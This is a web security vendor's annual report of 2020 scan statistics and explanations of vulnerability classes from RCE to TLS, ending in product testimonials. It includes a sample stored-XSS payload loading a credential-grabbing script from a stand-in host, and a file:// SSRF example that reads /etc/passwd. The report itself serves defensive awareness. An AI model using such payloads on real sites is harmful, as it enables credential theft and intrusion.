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Hello! We’re Invicti, the web application security company behind the award-winning DAST and IAST products Acunetix and Netsparker. Although Invicti isn’t a household name just yet, we serve more than 3,500 customers across every industry, in 110 countries.
We’ve created the Invicti AppSec Indicator to bring you useful data and insights about the state of web application security and how security pros are addressing the challenges in an increasingly complex landscape. The Indicator will draw on anonymized data from our products, market research, and insights collected from our customers, partners, and the industry.
The first volume of the AppSec Indicator is the 2021 edition of the Acunetix Web Vulnerability Report, now in its 7th consecutive year. Inside you’ll find a detailed look at how the state of web app security fared in a year marked by a global pandemic, social unrest, and economic disruption, based on scans of more than 3,500 targets. Spoiler alert: the distractions of 2020 impeded progress towards a more secure web.
There is a lot more to come in future volumes of the Invicti AppSec Indicator. We encourage you to reach out to us with feedback (Twitter, LinkedIn) about the report, your own insights and challenges, and suggestions for additional areas to explore in future editions of the report.
In a year marked by a pandemic, organizations were forced to shift their focus to enable employees to work from home nearly overnight. This necessary pivot came at the cost of web application security, where 2020 saw the first year of several in which the state of web app security did not improve, and in the case of some high-severity vulnerabilities, worsened.
As businesses adapt to the “new normal” of enabling a distributed workforce, they are facing an acceleration in adoption of cloud-based technologies, making web app security more important than ever. Looking ahead, it’s imperative that security pros re-focus attention on web security in 2021 to avoid significant risks to reputation, business continuity, and compliance. Our report highlights some immediate opportunities to re-prioritize.
We looked at 3,500 random and anonymous targets (websites, web applications, servers, network devices). There were 188,978 web scans and 173,571 network scans performed from January 2020 to December 2020. There were 185,000 vulnerability alerts triggered per month on average.
To get the base data for this report, we accessed the records stored in Acunetix Online and selected the following:
Data – Research Methodology
- 3,500 scan targets sampled
- 188,978 web scans run
- 173,571 network scans run
- 290,000,000 average HTTP requests sent per month
- 185,000 average vulnerability alerts triggered per month
Scan targets were selected to be a proportional representation of all Acunetix Online customers. The percentages represent both the selected scan target sample as well as all Acunetix Online customers.
Data – Global Location
- 35% – Europe
- 33% – North America
- 17.5% – Asia-Pacific
- 9.5% – Africa & Middle East
- 5.5% – Central & South America
- Consumer goods
- Financial services
- IT & Telecom
Data – Number of Employees
- 1–9 employees: 4%
- 10–49 employees: 33%
- 50–249 employees: 37%
- 250+ employees: 26%
Acunetix Online can perform dynamic application security testing (DAST) scans (also called black-box scans), as well as interactive application security testing (IAST) scans (also called gray-box scans).
A DAST scan means that the scanner has no information about the structure of the website or used technologies. An IAST scan means that the scanner has “insider information” about the web application. In Acunetix, this is possible thanks to AcuSensor technology. You install AcuSensor agents on the web server for Java, ASP.NET, and PHP applications. The agents send information from the web server back to the scanner.
When scanning, you typically follow the following four stages and repeat them if necessary.
Data – Web Targets
- 27% of web targets have high-severity vulnerabilities
- 63% of web targets have medium-severity vulnerabilities
- 25% of web targets are vulnerable to XSS
- 26% of web targets have WordPress vulnerabilities
The key factor that influenced web application security in 2020 was the onset of the COVID-19 pandemic. This event impacted web application security in the following ways:
The result of these two trends is the general lack of improvement in the level of web application security. The COVID-19 pandemic has also been instrumental in the appearance of new malicious actors, so overall, 2020 can be considered a bad year for web application security. If businesses don’t want to risk severe consequences, they should pay more attention to their web applications in 2021.
Data – Year-over-Year Trend ↑1%
Data – High-Severity Vulnerabilities
- In 2019, 26% of scanned web targets had high-severity vulnerabilities
- In 2020, 27% of scanned web targets had high-severity vulnerabilities
Data – Medium-Severity Vulnerabilities
- In 2019, 63% of scanned web targets had medium-severity vulnerabilities
- In 2020, 63% of scanned web targets had medium-severity vulnerabilities
Move of focus away from web application security due to the COVID-19 pandemic
Data – 2019 vs 2020: Trends for Detected Vulnerabilities
- ↑1% Remote code execution (RCE): 4% (from 3% in 2019)
- ↑2% WordPress vulnerabilities: 26% (from 24% in 2019)
- ↓1% SQL injection (SQLi): 7% (from 8% in 2019)
- ↓1% Directory traversal: 3% (from 4% in 2019)
- — Cross-site scripting (XSS): 25% (25% in 2019)
- — Server-side request forgery (SSRF): 1% (1% in 2019)
- — Host header injection: 2.5% (2.5% in 2019)
Acunetix detects many web vulnerabilities – nearly all types that are detectable using automated scanning. The most important of these vulnerabilities are listed in the OWASP Top 10 list. We classify vulnerabilities as high severity, medium severity, or low severity. Our analysis mainly applies to high- and medium-severity vulnerabilities found in web applications, as well as perimeter network vulnerability data.
Between 2016 and 2019, the number of high-severity and medium-severity vulnerabilities decreased steadily every year. In 2020, the number has slightly increased, most probably as a result of business decisions related to the impact of COVID-19 on the organization of work worldwide.
Data – Vulnerability Trends 2016-2020
- High-severity vulnerability: 55% in 2016
- High-severity vulnerability: 42% in 2017
- High-severity vulnerability: 35% in 2018
- High-severity vulnerability: 26% in 2019
- High-severity vulnerability: 27% in 2020
- Medium-severity vulnerability: 84% in 2016
- Medium-severity vulnerability: 79% in 2017
- Medium-severity vulnerability: 72% in 2018
- Medium-severity vulnerability: 63% in 2019
- Medium-severity vulnerability: 63% in 2020
A vulnerability is a flaw in an application or device that can be exploited by malicious hackers. Attackers can exploit a vulnerability to achieve a goal such as stealing sensitive information, compromise the system by making it unavailable (in a denial-of-service scenario), or corrupt the data.
The impact of vulnerabilities varies depending on the exploit. Acunetix assigns severity mostly depending on the impact that the exploit may have on the system. Severity also depends on how difficult it is to exploit the vulnerability.
Your business may have many systems running simultaneously – and some are more critical than others. Acunetix allows you to grade these systems using business criticality. Essential systems have a higher criticality than non-essential ones.
In most cases of medium-severity and low-severity vulnerabilities, the attack is possible or more dangerous when the attacker combines it with other vulnerabilities. Such vulnerabilities often involve social engineering.
In the case of several high-severity vulnerabilities, the number of cases discovered in 2020 has increased when compared to 2019. We discuss probable causes and effects in the following chapters dedicated to particular vulnerabilities.
Data – High-Severity Vulnerabilities 2019-2020 (Ordered by Severity)
- RCE: 3% in 2019, 4% in 2020
- SQLi: 8% in 2019, 7% in 2020
- LFI / directory traversal: 5% in 2019, 3.5% in 2020
- XSS: 24.5% in 2019, 25% in 2020
- Vulnerable JS libraries: 24% in 2019, 28.5% in 2020
- Weak passwords: 0.5% in 2019, 1% in 2020
- Source code disclosure: 3% in 2019, 3% in 2020
- WordPress: 24% in 2019, 26% in 2020
- SSRF: 1% in 2019, 1% in 2020
- Overflow vulnerabilities: 1.5% in 2019, 0.5% in 2020
- Network (SSH): 14% in 2019, 26.5% in 2020
- Network (FTP): 6.5% in 2019, 6.5% in 2020
- Network (mail): 1.5% in 2019, 1.5% in 2020
- Network (DNS): 1.5% in 2019, 2% in 2020
The situation with medium-severity vulnerabilities is similar to high-severity ones. We can see a slight increase in all types of vulnerabilities with a sharp increase in the number of detected DoS vulnerabilities, discussed in the DoS section below.
Data – Medium-Severity Vulnerabilities 2019-2020 (Ordered by Severity)
- DoS: 11% in 2019, 23% in 2020
- Host header injection: 2.5% in 2019, 2.5% in 2020
- Directory listing: 5.5% in 2019, 6% in 2020
- TLS/SSL: 36% in 2019, 38% in 2020
Remote code execution (RCE) is at the top of the high severity list. An attacker can use this vulnerability to run arbitrary code in the web application.
If the attacker can run code, they can also run commands in the operating system (OS command injection) and they may be able to create a reverse shell – an outbound connection from the host to the attacker. In many cases, this bypasses firewall configurations. Most firewall configurations block inbound connections, not outbound connections. If outbound connections are not verified, the attacker can use a compromised machine to reach other hosts, possibly getting more information or credentials from them.
The percentage of detected RCE vulnerabilities has steadily increased year after year for the last couple of years, which is very worrying due to the impact of such vulnerabilities. Businesses should treat these vulnerabilities as requiring an immediate fix.
Data – Remote Code Execution in 2020
- In 2019, 3% of web targets had RCE vulnerabilities
- In 2020, 4% of web targets had RCE vulnerabilities
An SQL injection (SQLi) attack is possible if the developer does not examine or validate user input. As a result, attackers can input an SQL query that is then executed by the backend database. Such a query may reveal, add, or delete records or even entire tables. This can impact the integrity of the data and possibly completely stop the web application (denial-of-service). Such vulnerabilities may allow the attacker to create or change files in the host system or even run commands. They may also allow the attacker to move to other hosts.
SQL injections often let an attacker obtain access to customer records, personally identifiable information (PII), and other confidential data. With privacy regulations emerging worldwide (e.g. the GDPR legislation), this is even more important. Lack of compliance may lead to big fines.
SQL injection has been around for a long time and is one of the most common and most damaging vulnerabilities. It is also well known. Many tools and techniques are available to defend against such attacks, but malicious hackers also have many tools to exploit these vulnerabilities.
We found that nearly 7% of analyzed targets had at least one SQLi vulnerability. This was very unexpected, given that SQL injections first appeared in 1998 and all major development environments and frameworks include tools to eliminate them. SQL injections should not be so common.
The correct way to defend against SQL injection attacks is to use parameterized SQL queries. Practically all frameworks and languages today make it possible. A large number of SQL injection vulnerabilities may, therefore, be caused by older applications that were written when these tools were not available.
Data – SQL Injections in 2020
- In 2019, 8% of web targets had SQLi vulnerabilities
- In 2020, 7% of web targets had SQLi vulnerabilities
Local file inclusion (LFI) and directory traversal (path traversal) vulnerabilities let the attacker access the host system. The attacker may do it by using .. or ../ to reference a parent directory.
In the case of directory traversal, the attacker may read files that should not be accessible. In the case of Linux and UNIX, the attacker may use the /proc directory to access software components, hardware devices, attached filesystems, networks, and more. They may also use the /etc directory to access confidential information such as usernames, group names, and passwords.
In the case of local file inclusion, the attacker might be able not only to read files but also to include code from them. If the attacker can upload source code files, they can then execute this code on the web server.
Data – Local File Inclusion and Directory Traversal in 2020
- Directory traversal: in 2019, 4%; in 2020: 3%
- Local file inclusion: in 2019: 1%, in 2020: 1%
For example, a malicious user may enter the following message into a forum:
Thanks for your help! <script src=”http://example.com/getcreds.js”>
Occurs when the attacker injects script code that is then stored by the web application. When someone visits the page with the stored script, this script is executed by their web browser. This is the most effective type of XSS attack.
A variant where the injected script is not stored by the web application. The attacker delivers a web address to the victim using social engineering (e.g. phishing). The victim clicks the link, goes to the vulnerable page, and the victim’s browser executes the script.
You can use CSP (Content Security Policy) to combat these attacks, but this feature is still not popular enough among web developers.
Cross-Site Scripting in 2020
The slight increase in the number of XSS vulnerabilities is evidence that web application security has not been addressed effectively enough by many businesses in 2020.
Data – Cross-Site Scripting in 2020
- In 2019, 24.5% of web targets had XSS vulnerabilities
- In 2020, 25% of web targets had XSS vulnerabilities
Additionally, this year, we examined the number of cross-site scripting vulnerabilities related to popular CMSs and came to some interesting conclusions. If you compare WordPress-related XSS to Joomla-related XSS, you can see that the percentage is similar. However, this percentage is in stark contrast with the number of websites being run using these CMSs. As of January 1, 2021, 39.5% of the world’s websites were running on WordPress, while only 2.2% were running on Joomla (see reference). This clearly shows that the percentage of Joomla installations that are vulnerable is nearly 20 times as much as the percentage of vulnerable WordPress installations.
Sources of XSS vulnerabilities in 2020 (percentage of all XSS vulnerabilities):
Data – Sources of XSS vulnerabilities in 2020 (percentage of all XSS vulnerabilities)
- Blind XSS – 0.5%
- Drupal-related XSS – 1%
- AngularJS template injection – 1.5%
- DOM XSS – 5.5%
- Joomla-related XSS – 8.5%
- WordPress-related XSS – 11%
- Other XSS vulnerabilities – 72%
Estimates show that, as of January 1, 2021, more than 39% of all websites are WordPress-powered, up from approximately 35% the year before (see reference).
WordPress is so popular that it is no surprise that attackers focus on it. When it comes to WordPress security, there are three components: WordPress core, UI themes, and functionality plugins.
The development community that builds WordPress core is strong and mature. Discovered or reported vulnerabilities are immediately investigated and quickly fixed. WordPress performs automatic upgrades for security updates (minor version number increments) and sends notifications to the system administrator about successful and unsuccessful upgrades.
The situation is different for plugins and themes. Any author can use these mechanisms to add functionality to WordPress. The security and quality of these add-ons vary significantly. The more popular the addon becomes, the bigger the risk for security. Unfortunately, when an attacker discovers an exploit, they can attack sometimes even tens of thousands of WordPress installations that use the vulnerable plugin or theme.
Joomla! and Drupal are also CMS systems with many users, but they are not as popular as WordPress. Joomla! and Drupal both have addons that expand their functionality. Similarly to WordPress, the core is maintained by a trusted group of developers and contributors, while add-ons are more likely to contain vulnerabilities.
In 2020, we can see a slight rise in the number of WordPress-related issues and a drop in the number of Joomla-related and Drupal-related issues. However, these are exactly in line with the corresponding growth and decline of the popularity of these CMSs. Between January 2020 and January 2021, WordPress gained 4.8% popularity, Joomla lost 0.8%, and Drupal lost 0.4% (see reference). Therefore, these numbers suggest that the situation in terms of CMS web application security has not changed at all in 2020.
Similar to what we mentioned above, commenting on XSS vulnerabilities, if you compare WordPress-related issues to Joomla-related issues, you can see that the number of vulnerabilities is in contrast with the number of websites being run using these CMSs. This situation clearly shows that the percentage of Joomla installations that are vulnerable is much higher than the percentage of vulnerable WordPress installations. This means that users of Joomla should be extra careful, update regularly, and use as few plugins as possible.
Data – CMS-Related Security
- In 2019, 35% of web targets had CMS-related security issues
- In 2020, 35.5% of web targets had CMS-related security issues
Types of CMS-related issues (percentage of all CMS-related issues):
Data – Types of CMS-Related Issues
- WordPress-related issues: 2019: 68%, 2020: 74%
- Joomla-related issues: 2019: 27%, 2020: 24%
- Drupal-related issues: 2019: 5%, 2020: 2%
- jQuery (generic): 38.10%
- bootstrap: 9.60%
- jQuery UI Dialog: 9.60%
- jQuery Migrate: 5.70%
- Angular: 2.90%
- jQuery Validation: 2.70%
- Moment.js: 2.60%
- React: 2.30%
- Modernizr: 2.21%
- DataTables: 1.82%
- Respond.js: 1.74%
- Underscore.js: 1.74%
- js-cookie: 1.32%
- Others: 17.67%
Weak passwords are usually short, common words or default values. An attacker can easily guess such a password when they encounter a login prompt. In some cases, you can guess weak passwords using a dictionary attack. In other cases, weak passwords are simply a default username and password combinations like admin/admin or admin/password.
Data – Password-Related Issues in 2020
- Weak or default passwords: in 2019: 1%; in 2020: 1%
- No brute force protection: in 2019: 28%; in 2020: 28%
Certain types of information should be reserved and never disclosed to the outside world. Obviously, different types of information disclosure have different levels of severity.
Disclosure of personally identifiable information is a high-severity issue. Disclosure of an internal IP address is less risky. However, combined with other vulnerabilities such as SSRF, it may let an attacker reach the system from another, less secure machine. Some websites and web applications intentionally reveal email addresses. Obviously, this is not always a vulnerability because some businesses risk spam to make it easier for customers to reach them.
Data – Reserved Information Disclosure in 2020
- In 2019, 1% of web targets had credit card disclosure vulnerabilities
- In 2020, 1% of web targets had credit card disclosure vulnerabilities
- In 2019, 1% of web targets had SSN disclosure vulnerabilities
- In 2020, 0.5% of web targets had SSN disclosure vulnerabilities
- In 2019, 5.5% of web targets had an internal IP address found
- In 2020, 5% of web targets had an internal IP address found
- In 2019, 33% of web targets had an email address found
- In 2020, 32% of web targets had an email address found
Source code disclosure vulnerabilities show two problems. If you expose custom code, you make it easier for an attacker to find vulnerabilities in your code. The attacker might also find other critical and sensitive information such as credentials or API keys used by the developer to integrate with internal or external services.
If the source code is disclosed, the attacker can check the components and component versions used to build the web application. This helps the attacker develop attacks that target known vulnerabilities in those component versions.
An attacker may also use code disclosure to find LFI vulnerabilities. By analyzing how you built part of a solution, attackers can guess the entire file structure of the component. They can then use this to access configuration files that contain credentials for back-end databases.
You should never disclose any source code, no matter if it is your own code or open-source code.
Data – Source Code Disclosure in 2020
- In 2019, 3% of web targets had source code disclosure vulnerabilities
- In 2020, 3% of web targets had source code disclosure vulnerabilities
Server-side request forgery (SSRF) vulnerabilities occur when the attacker is able to make the web application send crafted data to another server. Developers often allow such data exchange without a challenge when they only expect internal and trusted communication. An attacker may create or forge requests from a vulnerable server by replacing URLs with addresses that the server trusts.
This vulnerability is most common for internal systems that do not allow connections from the internet or that use an IP whitelist. They often let other internal systems access information or services without authentication. These may include databases, caching engines, service monitoring tools, and others.
This attack technique mostly uses URL substitution. Attackers can use URLs like file:// to trick the web application into exposing file content. For example, file://etc/passwd would expose user account details.
Even though SSRF is not very common compared to other high severity vulnerabilities, it may be fatal. The attacker may use it to examine the network, perform port scans, or send a flood of requests to overload a component (DoS).
Data – Server-Side Request Forgery in 2020
- In 2019, 1% of web targets had SSRF vulnerabilities
- In 2020, 1% of web targets had SSRF vulnerabilities
Overflow vulnerabilities occur when the attacker can input too much data. If the developer does not check the bounds of variables stored in memory, excess data can overflow into memory locations containing other data or even executable code. This can cause data corruption or allow the attacker to execute their own code.
This class of vulnerability can only occur in software written using certain programming languages, such as C and C++ (rarely used for web applications but often used to build web servers and their components). In these languages, memory management is done by the developer, not the language itself. Most other programming languages handle memory management during compilation.
The most common overflow vulnerability is a buffer overflow. There are two types of buffer overflows: stack overflows and heap overflows. Stack memory is a region of memory reserved for variables created by a function for local use (within that same function). When the function exits, it automatically releases the memory that it used. Heap memory is used for variables with a global scope and the developer needs to allocate and release memory explicitly.
Data – Overflow Vulnerabilities in 2020
- In 2019, 1.5% of web targets had overflow vulnerabilities
- In 2020, .5% of web targets had overflow vulnerabilities
Every local network is shielded from the outside world (the Internet) using edge or perimeter devices. These provide functions and services such as routing, NAT/PAT, VPN, and firewalling. Servers, such as web servers, mail servers, DNS servers, are also often located on the perimeter of the local network and accessible from the Internet.
If you do not regularly maintain such devices and services to update their operating systems and software, vulnerabilities can appear. Vulnerabilities can also appear when you misconfigure a device or a service.
Many of these services are now being moved out of internal networks and into the cloud. Therefore, it might be difficult to tell the difference between a LAN service, a WAN service, and a perimeter/edge service. However, regardless of the location of the service, if your critical network elements have vulnerabilities or are misconfigured, they may expose critical data and potentially allow an attacker to bypass authentication.
We noticed a sharp increase in the number of SSH-related vulnerabilities but we don’t believe that this is a cause for alarm. The increase is mostly due to improvements in the network scan component used by Acunetix.
Data – Perimeter Network Vulnerabilities in 2020
- In 2019, 1.5% of web targets had DNS-related vulnerabilities
- In 2020, 1.5% of web targets had DNS-related vulnerabilities
- In 2019, 7% of web targets had FTP-related vulnerabilities
- In 2020, 6.5% of web targets had FTP-related vulnerabilities
- In 2019, 1.5% of web targets had mail-related vulnerabilities
- In 2020, 1.5% of web targets had mail-related vulnerabilities
- In 2019, 15.5% of web targets had SSH-related vulnerabilities
- In 2020, 26.5% of web targets had SSH-related vulnerabilities
Denial-of-service (DoS) attacks are designed to bring down a system – to make it nonresponsive or impossible to access. Attackers often do this simply by flooding the target with requests that block or obstruct regular traffic. This is sometimes called a volumetric attack because it is the volume of requests that causes the damage. Popular tools that attackers use are Low Orbit Ion Cannon and High Orbit Ion Cannon.
Application-based denial-of-service is more refined. First, the attacker makes regular requests and measures response delay. Some requests require more processing time and are more expensive for the target. The attacker chooses the most expensive requests and uses them for the actual attack. This way, they can use fewer requests to achieve the same goal.
DoS attacks are very difficult to defend against because the requests appear to be legitimate. There are some tools that can help you, but the attacker may also use multiple hosts to send requests, making a distributed-denial-of-service (DDoS) attack.
Note that there are other vulnerabilities that directly lead to a DoS effect on a system. Most vulnerabilities can be exploited in such a way.
Such vulnerabilities are not included in this section about DoS-related vulnerabilities.
23% of sampled targets were found to be vulnerable to denial-of-service vulnerabilities in general. 19.2% of sampled targets were found to be vulnerable to an application-based DoS vulnerability nicknamed Slowloris (slow HTTP DoS).
This year’s numbers show a stark increase from last year. While this increase is caused directly by improved efficiency of slow HTTP DoS tests in Acunetix, 19%of targets is still a lot.
Data – DoS-Related Vulnerabilities in 2020
- In 2019, 7.5% of web targets had slow HTTP DoS vulnerabilities
- In 2020, 19% of web targets had slow HTTP DoS vulnerabilities
- In 2019, 3.5% of web targets had other DoS vulnerabilities
- In 2020, 4% of web targets had other DoS vulnerabilities
Host header injection vulnerabilities occur when an application dynamically creates HTTP headers using data supplied by the user. Some application developers trust the security of host headers to import stylesheets, scripts, and links – even for password reset purposes. Without multi-factor authentication (MFA), an attacker can even gain complete control of a user’s account.
Another attack based on host header injection is web cache poisoning. The cache then serves the attacker’s payload to users.
We found 2.5% of sampled targets to be vulnerable to host header injection, exactly the same as last year. While host header injection can be dangerous, it is not easy to exploit. The attack can only succeed in very specific and unlikely conditions.
Data – Host Header Injection in 2020
- In 2019, 2.5% of web targets had host header injection vulnerabilities
- In 2020, 2.5% of web targets had host header injection vulnerabilities
Directory listing is what a web server does when the user requests a directory without an index file. If the web server is configured with directory listing turned on, it shows the contents of such a directory. If the files are readable by the web server, the attacker may be able to view the contents of the files. This can escalate to higher severity issues, for example, source code disclosure. It may also expose configuration files that contain, for example, credentials for back-end databases.
We found 6% of sampled targets to be vulnerable to directory listing misconfigurations, same as last year. This result is not surprising, especially because directory listing is enabled by default on the Apache HTTP Server. Apache administrators should follow basic hardening guides to protect their servers.
Data – Directory Listing Vulnerabilities in 2020
- In 2019, 6% of web targets had directory listing vulnerabilities
- In 2020, 6% of web targets had directory listing vulnerabilities
Transport Layer Security (TLS) and its predecessor, Secure Socket Layer (SSL), are protocols used to authenticate and encrypt connections and verify the integrity of data exchanged between clients and servers.
Every website on the Internet should encrypt communications between the user and the server. This is especially important for websites that handle sensitive data. Encryption creates a secure channel to exchange information such as identification numbers and documents, financial information (for example, credit card numbers), login credentials, and so on.
Older variants of SSL and TLS are vulnerable to many attacks. An attacker who identifies a web server that still uses such versions (usually because of a misconfiguration) may be able to crack or bypass encryption and access information that is exchanged between the server and users.
The number of TLS/SSL vulnerabilities is steadily declining. We believe that this good trend has not been affected by the COVID-19 pandemic because network security processes are more mature than web application security and organizations are much more likely to keep their servers updated than to investigate complex web security issues.
Data – TLS/SSL Vulnerabilities in 2020
- TLS 1.0 enabled: in 2019: 31%; in 2020: 24%
- RC4 enabled: in 2019: 7.5%; in 2020: 3.5%
- BREACH: in 2019: 4%; in 2020: 0%
- POODLE: in 2019: 4%; in 2020: 2%
- DROWN: in 2019: .5%; in 2020: .5%
Acunetix does not just check for web vulnerabilities, it also checks if web application security best practices are being followed. This year, we introduced this new category in our report to show how often such best practices are ignored, leading to potential problems.
Data – Frequency of Ignored Best Practices
- Clickjacking: X-Frame-Options header missing: 33%
- Cookies without the Secure flag: 32.5%
- Cookies without the HttpOnly flag: 29%
- Cookies with missing, inconsistent, or contradictory properties: 28%
- Session token in the URL: 6.5%
- Session cookies scoped to a parent domain: 6.5%
- Clickjacking: CSP frame-ancestors missing: 6.5%
There are 2 general types of web server vulnerabilities. The first category are vulnerabilities in web server software. These are monitored by web server vendors and often discovered by them, not by users. They are fixed by updates or patches. Security best practice is to always update web server software to the latest version.
The second type of web server vulnerabilities is misconfigurations. These are configurations that expose the web server to attacks.
Vulnerabilities in web servers may range from information disclosure all the way to a remotely exploitable buffer overflow vulnerability that could allow an attacker to escalate an attack to remote code execution (RCE).
47% of the sampled targets were found to have either web server vulnerabilities or misconfigurations. Unsurprisingly, the large majority of misconfigurations in this category were related to version disclosure. It’s common for various web servers to disclose not only which web server is serving a request but also what version is in use. While this is not strictly classified as a vulnerability, it may provide an attacker with some useful information.
In other cases, old versions of web servers were identified that contained vulnerabilities, mostly related to denial-of-service or information disclosure.
Data – Web Server Vulnerabilities and Misconfigurations in 2020
- IIS: 24.5% in 2019, 26.5% in 2020
- Nginx: 2% in 2019, 6% in 2020
- Apache: 7% in 2019, 15% in 2020
As part of our analysis, this year we took a look at the types of servers used by our scan targets. What we found especially interesting is the fact that they seem to be quite different from global web server usage statistics (as provided by w3techs – see source). Acunetix targets seem to be much more often installed on IIS servers and much less often on Cloudflare than in the case of global statistics.
This data leads us to speculate that perhaps customers who purchase Cloudflare and additional services such as web application firewalls are wrongly under the impression that their web applications are more secure and there is no need to address vulnerabilities. On the other hand, since IIS is globally perceived as potentially more prone to vulnerabilities, IIS owners take their web application security more seriously.
Data – Distribution of Web Servers in Acunetix Scan Data (2020)
- Apache: 30%
- nginx: 25%
- IIS: 23%
- Other: 22%
Data – The Global Popularity of Web Servers According to w3techs (2020)
- Apache: 33%
- nginx: 32%
- IIS: 7%
- Other (primarily Cloudflare) 28%
The overall landscape shows that usage of PHP is approximately static. The second most popular technology is ASP.NET but it is slowly losing ground to other less mainstream server-side languages. This continues last year’s trend.
The main thing to infer is that ASP.NET is losing ground, mainly to Ruby.
If we map PHP to Apache/nginx and ASP/ASP.NET to IIS, we can conclude that:
While the global web application security posture has been slowly shifting in the right direction over the past several years, the year 2020 and the COVID-19 pandemic have halted this progress and even reverted it in some cases. Although the number of vulnerabilities had been gradually decreasing, in 2020, the total number of targets with vulnerabilities went from 26% to 27%, making this the first increase in several years.
We understand that due to the COVID-19 pandemic many organizations are experiencing organizational and budget difficulties, but we believe that moving the focus away from web application security presents significant risks. The shift to remote work forces organizations to rely more on cloud computing apps and less on internal structures – and all cloud apps are web applications. Looking ahead, we recommend that organizations renew their focus on web application security, as cloud apps have become even more critical to business operations than ever before.
To help organizations manage their cloud applications more effectively, Acunetix continues to expand its capabilities. Simply put, we keep making Acunetix faster (less time needed to scan the same web application), smarter (fewer requests needed to scan), easier (improvements to the user interface), and more integrated (we keep adding integrations with more and more systems).
"Having used Acunetix since 2009, we find it an essential tool in protecting our interior critical systems and helping our customers protect their own systems."Read case study
"After implementing Acunetix, we can support many more requests and we can provide reports to clients much faster."Read case study
"A strong and comprehensive web vulnerability scanner that can be used to discover flaws in our customers’ web applications as well as first class support from Acunetix."Read case study